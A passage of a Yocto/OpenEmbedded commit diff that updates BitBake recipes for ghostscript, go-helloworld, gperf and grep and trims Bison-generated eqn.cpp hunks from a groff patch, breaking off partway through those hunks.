+SECTION = "console/utils"
+
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f98ffa763e50cded76f49bce73aade16"
+
+DEPENDS = "ghostscript-native tiff jpeg fontconfig cups libpng"
+DEPENDS:class-native = "libpng-native"
+
+UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
+
+# As of ghostscript 9.54.0 the jpeg issue in the CVE is present in the gs jpeg sources
+# however we use an external jpeg which doesn't have the issue.
+CVE_CHECK_IGNORE += "CVE-2013-6629"
+
+def gs_verdir(v):
+ return "".join(v.split("."))
+
+
+SRC_URI_BASE = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
+ file://ghostscript-9.15-parallel-make.patch \
+ file://ghostscript-9.16-Werror-return-type.patch \
+ file://do-not-check-local-libpng-source.patch \
+ file://avoid-host-contamination.patch \
+ file://mkdir-p.patch \
+"
+
+SRC_URI = "${SRC_URI_BASE} \
+ file://ghostscript-9.21-prevent_recompiling.patch \
+ file://cups-no-gcrypt.patch \
+ "
+
+SRC_URI:class-native = "${SRC_URI_BASE} \
+ file://ghostscript-9.21-native-fix-disable-system-libtiff.patch \
+ file://base-genht.c-add-a-preprocessor-define-to-allow-fope.patch \
+ "
+
+SRC_URI[sha256sum] = "31e2064be67e15b478a8da007d96d6cd4d2bee253e5be220703a225f7f79a70b"
+
+# Put something like
+#
+# PACKAGECONFIG:append:pn-ghostscript = " x11"
+#
+# in local.conf to enable building with X11. Be careful. The order
+# of the overrides matters!
+#
+#PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', '', d)}"
+PACKAGECONFIG:class-native = ""
+
+PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
+ --without-x, virtual/libx11 libxext libxt gtk+3\
+ "
+
+EXTRA_OECONF = "--without-libpaper --with-system-libtiff --with-jbig2dec \
+ --with-fontpath=${datadir}/fonts \
+ --without-libidn --with-cups-serverbin=${exec_prefix}/lib/cups \
+ --with-cups-datadir=${datadir}/cups \
+ CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
+ "
+
+EXTRA_OECONF:append:mipsarcho32 = " --with-large_color_index=0"
+
+# Explicity disable libtiff, fontconfig,
+# freetype, cups for ghostscript-native
+EXTRA_OECONF:class-native = "--without-x --with-system-libtiff=no \
+ --without-jbig2dec --without-libpaper \
+ --with-fontpath=${datadir}/fonts \
+ --without-libidn --disable-fontconfig \
+ --enable-freetype --disable-cups "
+
+# This has been fixed upstream but for now we need to subvert the check for time.h
+# http://bugs.ghostscript.com/show_bug.cgi?id=692443
+# http://bugs.ghostscript.com/show_bug.cgi?id=692426
+CFLAGS += "-DHAVE_SYS_TIME_H=1"
+BUILD_CFLAGS += "-DHAVE_SYS_TIME_H=1"
+
+inherit autotools-brokensep
+
+do_configure:prepend:class-target () {
+ rm -rf ${S}/jpeg/
+}
+
+do_configure:append () {
+ # copy tools from the native ghostscript build
+ if [ "${PN}" != "ghostscript-native" ]; then
+ mkdir -p obj/aux soobj
+ for i in genarch genconf mkromfs echogs gendev genht packps; do
+ cp ${STAGING_BINDIR_NATIVE}/ghostscript-${PV}/$i obj/aux/$i
+ done
+ fi
+}
+
+do_install:append () {
+ mkdir -p ${D}${datadir}/ghostscript/${PV}/
+ cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
+ cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
+}
+
+do_compile:class-native () {
+ mkdir -p obj
+ for i in genarch genconf mkromfs echogs gendev genht packps; do
+ oe_runmake obj/aux/$i
+ done
+}
+
+do_install:class-native () {
+ install -d ${D}${bindir}/ghostscript-${PV}
+ for i in genarch genconf mkromfs echogs gendev genht packps; do
+ install -m 755 obj/aux/$i ${D}${bindir}/ghostscript-${PV}/$i
+ done
+}
+
+BBCLASSEXTEND = "native"
+
+# ghostscript does not supports "arc"
+COMPATIBLE_HOST = "^(?!arc).*"
+
+# some entries in NVD uses gpl_ghostscript
+CVE_PRODUCT = "ghostscript gpl_ghostscript"
diff --git a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
index ab70ea98a3..b3a8631794 100644
--- a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
+++ b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
@@ -5,16 +5,18 @@ HOMEPAGE = "https://golang.org/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
-SRC_URI = "git://${GO_IMPORT}"
-SRCREV = "46695d81d1fae905a270fb7db8a4d11a334562fe"
+SRC_URI = "git://go.googlesource.com/example;branch=master;protocol=https"
+SRCREV = "787a929d5a0dfb8bbfcdd2c4a62e0fd89466113f"
UPSTREAM_CHECK_COMMITS = "1"
-GO_IMPORT = "github.com/golang/example"
+GO_IMPORT = "golang.org/x/example"
GO_INSTALL = "${GO_IMPORT}/hello"
+GO_WORKDIR = "${GO_INSTALL}"
+export GO111MODULE="off"
inherit go
# This is just to make clear where this example is
-do_install_append() {
+do_install:append() {
mv ${D}${bindir}/hello ${D}${bindir}/${BPN}
}
diff --git a/meta/recipes-extended/gperf/gperf_3.1.bb b/meta/recipes-extended/gperf/gperf_3.1.bb
index f61b2a329a..82750fca05 100644
--- a/meta/recipes-extended/gperf/gperf_3.1.bb
+++ b/meta/recipes-extended/gperf/gperf_3.1.bb
@@ -1,7 +1,7 @@
DESCRIPTION = "GNU gperf is a perfect hash function generator"
HOMEPAGE = "http://www.gnu.org/software/gperf"
SUMMARY = "Generate a perfect hash function from a set of keywords"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
file://src/main.cc;beginline=8;endline=19;md5=dec8f611845d047387ed56b5b85fa99b"
diff --git a/meta/recipes-extended/grep/grep_3.3.bb b/meta/recipes-extended/grep/grep_3.3.bb
deleted file mode 100644
index 704a3ecd06..0000000000
--- a/meta/recipes-extended/grep/grep_3.3.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-SUMMARY = "GNU grep utility"
-HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
-BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
-SECTION = "console/utils"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-
-SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "05d0718a1b7cc706a4bdf8115363f1ed"
-SRC_URI[sha256sum] = "b960541c499619efd6afe1fa795402e4733c8e11ebf9fafccc0bb4bccdc5b514"
-
-inherit autotools gettext texinfo pkgconfig
-
-# Fix "Argument list too long" error when len(TMPDIR) = 410
-acpaths = "-I ./m4"
-
-do_configure_prepend () {
- rm -f ${S}/m4/init.m4
-}
-
-do_install () {
- autotools_do_install
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/grep ${D}${base_bindir}/grep
- mv ${D}${bindir}/egrep ${D}${base_bindir}/egrep
- mv ${D}${bindir}/fgrep ${D}${base_bindir}/fgrep
- rmdir ${D}${bindir}/
- fi
-}
-
-inherit update-alternatives
-
-PACKAGECONFIG ??= "pcre"
-PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "grep egrep fgrep"
-ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
-ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
-ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
-
-export CONFIG_SHELL="/bin/sh"
diff --git a/meta/recipes-extended/grep/grep_3.7.bb b/meta/recipes-extended/grep/grep_3.7.bb
new file mode 100644
index 0000000000..40390c25d9
--- /dev/null
+++ b/meta/recipes-extended/grep/grep_3.7.bb
@@ -0,0 +1,46 @@
+SUMMARY = "GNU grep utility"
+HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
+DESCRIPTION = "Grep searches one or more input files for lines containing a match to a specified pattern. By default, grep prints the matching lines."
+BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
+SECTION = "console/utils"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "5c10da312460aec721984d5d83246d24520ec438dd48d7ab5a05dbc0d6d6823c"
+
+inherit autotools gettext texinfo pkgconfig
+
+# Fix "Argument list too long" error when len(TMPDIR) = 410
+acpaths = "-I ./m4"
+
+do_configure:prepend () {
+ sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh
+ rm -f ${S}/m4/init.m4
+}
+
+do_install () {
+ autotools_do_install
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/grep ${D}${base_bindir}/grep
+ mv ${D}${bindir}/egrep ${D}${base_bindir}/egrep
+ mv ${D}${bindir}/fgrep ${D}${base_bindir}/fgrep
+ rmdir ${D}${bindir}/
+ fi
+}
+
+inherit update-alternatives
+
+PACKAGECONFIG ??= "pcre"
+PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "grep egrep fgrep"
+ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
+ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
+ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/groff/files/0001-Include-config.h.patch b/meta/recipes-extended/groff/files/0001-Include-config.h.patch
index 348a61d9df..99f590bef3 100644
--- a/meta/recipes-extended/groff/files/0001-Include-config.h.patch
+++ b/meta/recipes-extended/groff/files/0001-Include-config.h.patch
@@ -17,7 +17,14 @@ In file included from TOPDIR/build/tmp/work/aarch64-yoe-linux-musl/groff/1.22.4-
^
./lib/math.h:40:1: error: unknown type name '_GL_INLINE_HEADER_BEGIN'
-Upstream-Status: Pending
+We delete eqn.cpp and qen.hpp in do_configure
+to ensure they're regenerated and deterministic.
+
+Issue is fixed upstream with similar patches:
+https://git.savannah.gnu.org/cgit/groff.git/commit/?id=979f3f4266151c7681a68a40d2c4913842a7271d
+https://git.savannah.gnu.org/cgit/groff.git/commit/?id=fe121eeacd53c96105f23209b2c205f436f97359
+
+Upstream-Status: Backport [see links above]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
src/libs/libgroff/assert.cpp | 4 +
@@ -140,1029 +147,6 @@ index f95c05e..d875045 100644
#include <string.h>
#include <stdlib.h>
-diff --git a/src/preproc/eqn/eqn.cpp b/src/preproc/eqn/eqn.cpp
-index 4ede465..fdd9484 100644
---- a/src/preproc/eqn/eqn.cpp
-+++ b/src/preproc/eqn/eqn.cpp
-@@ -1,8 +1,9 @@
--/* A Bison parser, made by GNU Bison 3.2. */
-+/* A Bison parser, made by GNU Bison 3.4.1. */
-
- /* Bison implementation for Yacc-like parsers in C
-
-- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc.
-+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation,
-+ Inc.
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
-@@ -47,7 +48,7 @@
- #define YYBISON 1
-
- /* Bison version. */
--#define YYBISON_VERSION "3.2"
-+#define YYBISON_VERSION "3.4.1"
-
- /* Skeleton name. */
- #define YYSKELETON_NAME "yacc.c"
-@@ -65,7 +66,11 @@
-
-
- /* First part of user prologue. */
--#line 18 "../src/preproc/eqn/eqn.ypp" /* yacc.c:338 */
-+#line 18 "src/preproc/eqn/eqn.ypp"
-+
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-
- #include <stdio.h>
- #include <string.h>
-@@ -77,7 +82,8 @@ extern int non_empty_flag;
- int yylex();
- void yyerror(const char *);
-
--#line 81 "src/preproc/eqn/eqn.cpp" /* yacc.c:338 */
-+#line 86 "src/preproc/eqn/eqn.cpp"
-+
- # ifndef YY_NULLPTR
- # if defined __cplusplus
- # if 201103L <= __cplusplus
-@@ -98,8 +104,8 @@ void yyerror(const char *);
- # define YYERROR_VERBOSE 0
- #endif
-
--/* In a future release of Bison, this section will be replaced
-- by #include "y.tab.h". */
-+/* Use api.header.include to #include this header
-+ instead of duplicating it here. */
- #ifndef YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED
- # define YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED
- /* Debug traces. */
-@@ -237,10 +243,9 @@ extern int yydebug;
-
- /* Value type. */
- #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
--
- union YYSTYPE
- {
--#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:353 */
-+#line 34 "src/preproc/eqn/eqn.ypp"
-
- char *str;
- box *b;
-@@ -249,9 +254,9 @@ union YYSTYPE
- int n;
- column *col;
-
--#line 253 "src/preproc/eqn/eqn.cpp" /* yacc.c:353 */
--};
-+#line 258 "src/preproc/eqn/eqn.cpp"
-
-+};
- typedef union YYSTYPE YYSTYPE;
- # define YYSTYPE_IS_TRIVIAL 1
- # define YYSTYPE_IS_DECLARED 1
-@@ -366,6 +371,8 @@ typedef short yytype_int16;
- #endif
-
-
-+#define YY_ASSERT(E) ((void) (0 && (E)))
-+
- #if ! defined yyoverflow || YYERROR_VERBOSE
-
- /* The parser invokes alloca or malloc; define the necessary symbols. */
-@@ -508,16 +515,16 @@ union yyalloc
- /* YYNSTATES -- Number of states. */
- #define YYNSTATES 142
-
--/* YYTRANSLATE[YYX] -- Symbol number corresponding to YYX as returned
-- by yylex, with out-of-bounds checking. */
- #define YYUNDEFTOK 2
- #define YYMAXUTOK 315
-
-+/* YYTRANSLATE(TOKEN-NUM) -- Symbol number corresponding to TOKEN-NUM
-+ as returned by yylex, with out-of-bounds checking. */
- #define YYTRANSLATE(YYX) \
- ((unsigned) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK)
-
- /* YYTRANSLATE[TOKEN-NUM] -- Symbol number corresponding to TOKEN-NUM
-- as returned by yylex, without out-of-bounds checking. */
-+ as returned by yylex. */
- static const yytype_uint8 yytranslate[] =
- {
- 0, 2, 2, 2, 2, 2, 2, 2, 2, 63,
-@@ -558,14 +565,14 @@ static const yytype_uint8 yytranslate[] =
- /* YYRLINE[YYN] -- Source line where rule number YYN was defined. */
- static const yytype_uint16 yyrline[] =
- {
-- 0, 121, 121, 123, 128, 130, 141, 143, 145, 150,
-- 152, 154, 156, 158, 163, 165, 167, 169, 174, 176,
-- 181, 183, 185, 190, 192, 194, 196, 198, 200, 202,
-- 204, 206, 208, 210, 212, 214, 216, 218, 220, 222,
-- 224, 226, 228, 230, 232, 234, 236, 238, 240, 242,
-- 244, 246, 248, 250, 252, 254, 259, 269, 271, 276,
-- 278, 283, 285, 290, 292, 297, 299, 304, 306, 308,
-- 310, 314, 316, 321, 323, 325
-+ 0, 125, 125, 127, 132, 134, 145, 147, 149, 154,
-+ 156, 158, 160, 162, 167, 169, 171, 173, 178, 180,
-+ 185, 187, 189, 194, 196, 198, 200, 202, 204, 206,
-+ 208, 210, 212, 214, 216, 218, 220, 222, 224, 226,
-+ 228, 230, 232, 234, 236, 238, 240, 242, 244, 246,
-+ 248, 250, 252, 254, 256, 258, 263, 273, 275, 280,
-+ 282, 287, 289, 294, 296, 301, 303, 308, 310, 312,
-+ 314, 318, 320, 325, 327, 329
- };
- #endif
-
-@@ -818,22 +825,22 @@ static const yytype_uint8 yyr2[] =
-
- #define YYRECOVERING() (!!yyerrstatus)
-
--#define YYBACKUP(Token, Value) \
--do \
-- if (yychar == YYEMPTY) \
-- { \
-- yychar = (Token); \
-- yylval = (Value); \
-- YYPOPSTACK (yylen); \
-- yystate = *yyssp; \
-- goto yybackup; \
-- } \
-- else \
-- { \
-- yyerror (YY_("syntax error: cannot back up")); \
-- YYERROR; \
-- } \
--while (0)
-+#define YYBACKUP(Token, Value) \
-+ do \
-+ if (yychar == YYEMPTY) \
-+ { \
-+ yychar = (Token); \
-+ yylval = (Value); \
-+ YYPOPSTACK (yylen); \
-+ yystate = *yyssp; \
-+ goto yybackup; \
-+ } \
-+ else \
-+ { \
-+ yyerror (YY_("syntax error: cannot back up")); \
-+ YYERROR; \
-+ } \
-+ while (0)
-
- /* Error token number */
- #define YYTERROR 1
-@@ -948,7 +955,7 @@ yy_reduce_print (yytype_int16 *yyssp, YYSTYPE *yyvsp, int yyrule)
- YYFPRINTF (stderr, " $%d = ", yyi + 1);
- yy_symbol_print (stderr,
- yystos[yyssp[yyi + 1 - yynrhs]],
-- &(yyvsp[(yyi + 1) - (yynrhs)])
-+ &yyvsp[(yyi + 1) - (yynrhs)]
- );
- YYFPRINTF (stderr, "\n");
- }
-@@ -1052,7 +1059,10 @@ yytnamerr (char *yyres, const char *yystr)
- case '\\':
- if (*++yyp != '\\')
- goto do_not_strip_quotes;
-- /* Fall through. */
-+ else
-+ goto append;
-+
-+ append:
- default:
- if (yyres)
- yyres[yyn] = *yyp;
-@@ -1148,10 +1158,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
- yyarg[yycount++] = yytname[yyx];
- {
- YYSIZE_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]);
-- if (! (yysize <= yysize1
-- && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
-+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)
-+ yysize = yysize1;
-+ else
- return 2;
-- yysize = yysize1;
- }
- }
- }
-@@ -1175,9 +1185,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
-
- {
- YYSIZE_T yysize1 = yysize + yystrlen (yyformat);
-- if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
-+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)
-+ yysize = yysize1;
-+ else
- return 2;
-- yysize = yysize1;
- }
-
- if (*yymsg_alloc < yysize)
-@@ -1303,23 +1314,33 @@ yyparse (void)
- yychar = YYEMPTY; /* Cause a token to be read. */
- goto yysetstate;
-
-+
- /*------------------------------------------------------------.
--| yynewstate -- Push a new state, which is found in yystate. |
-+| yynewstate -- push a new state, which is found in yystate. |
- `------------------------------------------------------------*/
-- yynewstate:
-+yynewstate:
- /* In all cases, when you get here, the value and location stacks
- have just been pushed. So pushing a state here evens the stacks. */
- yyssp++;
-
-- yysetstate:
-+
-+/*--------------------------------------------------------------------.
-+| yynewstate -- set current state (the top of the stack) to yystate. |
-+`--------------------------------------------------------------------*/
-+yysetstate:
-+ YYDPRINTF ((stderr, "Entering state %d\n", yystate));
-+ YY_ASSERT (0 <= yystate && yystate < YYNSTATES);
- *yyssp = (yytype_int16) yystate;
-
- if (yyss + yystacksize - 1 <= yyssp)
-+#if !defined yyoverflow && !defined YYSTACK_RELOCATE
-+ goto yyexhaustedlab;
-+#else
- {
- /* Get the current used size of the three stacks, in elements. */
- YYSIZE_T yysize = (YYSIZE_T) (yyssp - yyss + 1);
-
--#ifdef yyoverflow
-+# if defined yyoverflow
- {
- /* Give user a chance to reallocate the stack. Use copies of
- these so that the &'s don't force the real ones into
-@@ -1338,10 +1359,7 @@ yyparse (void)
- yyss = yyss1;
- yyvs = yyvs1;
- }
--#else /* no yyoverflow */
--# ifndef YYSTACK_RELOCATE
-- goto yyexhaustedlab;
--# else
-+# else /* defined YYSTACK_RELOCATE */
- /* Extend the stack our own way. */
- if (YYMAXDEPTH <= yystacksize)
- goto yyexhaustedlab;
-@@ -1357,12 +1375,11 @@ yyparse (void)
- goto yyexhaustedlab;
- YYSTACK_RELOCATE (yyss_alloc, yyss);
- YYSTACK_RELOCATE (yyvs_alloc, yyvs);
--# undef YYSTACK_RELOCATE
-+# undef YYSTACK_RELOCATE
- if (yyss1 != yyssa)
- YYSTACK_FREE (yyss1);
- }
- # endif
--#endif /* no yyoverflow */
-
- yyssp = yyss + yysize - 1;
- yyvsp = yyvs + yysize - 1;
-@@ -1373,19 +1390,18 @@ yyparse (void)
- if (yyss + yystacksize - 1 <= yyssp)
- YYABORT;
- }
--
-- YYDPRINTF ((stderr, "Entering state %d\n", yystate));
-+#endif /* !defined yyoverflow && !defined YYSTACK_RELOCATE */
-
- if (yystate == YYFINAL)
- YYACCEPT;
-
- goto yybackup;
-
-+
- /*-----------.
- | yybackup. |
- `-----------*/
- yybackup:
--
- /* Do appropriate processing given the current state. Read a
- lookahead token if we need one and don't already have one. */
-
-@@ -1443,7 +1459,6 @@ yybackup:
- YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
- *++yyvsp = yylval;
- YY_IGNORE_MAYBE_UNINITIALIZED_END
--
- goto yynewstate;
-
-
-@@ -1458,7 +1473,7 @@ yydefault:
-
-
- /*-----------------------------.
--| yyreduce -- Do a reduction. |
-+| yyreduce -- do a reduction. |
- `-----------------------------*/
- yyreduce:
- /* yyn is the number of a rule to reduce with. */
-@@ -1478,20 +1493,20 @@ yyreduce:
- YY_REDUCE_PRINT (yyn);
- switch (yyn)
- {
-- case 3:
--#line 124 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+ case 3:
-+#line 128 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].b)->top_level(); non_empty_flag = 1; }
--#line 1485 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1500 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 4:
--#line 129 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 133 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1491 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1506 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 5:
--#line 131 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 135 "src/preproc/eqn/eqn.ypp"
- {
- list_box *lb = (yyvsp[-1].b)->to_list_box();
- if (!lb)
-@@ -1499,436 +1514,437 @@ yyreduce:
- lb->append((yyvsp[0].b));
- (yyval.b) = lb;
- }
--#line 1503 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1518 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 6:
--#line 142 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 146 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1509 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1524 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 7:
--#line 144 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 148 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_mark_box((yyvsp[0].b)); }
--#line 1515 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1530 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 8:
--#line 146 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 150 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_lineup_box((yyvsp[0].b)); }
--#line 1521 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1536 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 9:
--#line 151 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 155 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1527 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1542 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 10:
--#line 153 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 157 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-2].b), 0, (yyvsp[0].b)); }
--#line 1533 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1548 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 11:
--#line 155 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 159 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0); }
--#line 1539 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1554 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 12:
--#line 157 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 161 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1545 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1560 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 13:
--#line 159 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 163 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-4].b), make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0), 0); }
--#line 1551 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1566 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 14:
--#line 164 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 168 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1557 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1572 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 15:
--#line 166 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 170 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_sqrt_box((yyvsp[0].b)); }
--#line 1563 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1578 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 16:
--#line 168 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 172 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_over_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1569 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1584 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 17:
--#line 170 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 174 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_small_over_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1575 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1590 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 18:
--#line 175 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 179 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1581 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1596 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 19:
--#line 177 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 181 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-2].b), 0, (yyvsp[0].b)); }
--#line 1587 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1602 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 20:
--#line 182 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 186 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1593 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1608 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 21:
--#line 184 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 188 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-2].b), (yyvsp[0].b), 0); }
--#line 1599 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1614 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 22:
--#line 186 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 190 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1605 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1620 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 23:
--#line 191 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 195 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = split_text((yyvsp[0].str)); }
--#line 1611 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1626 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 24:
--#line 193 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
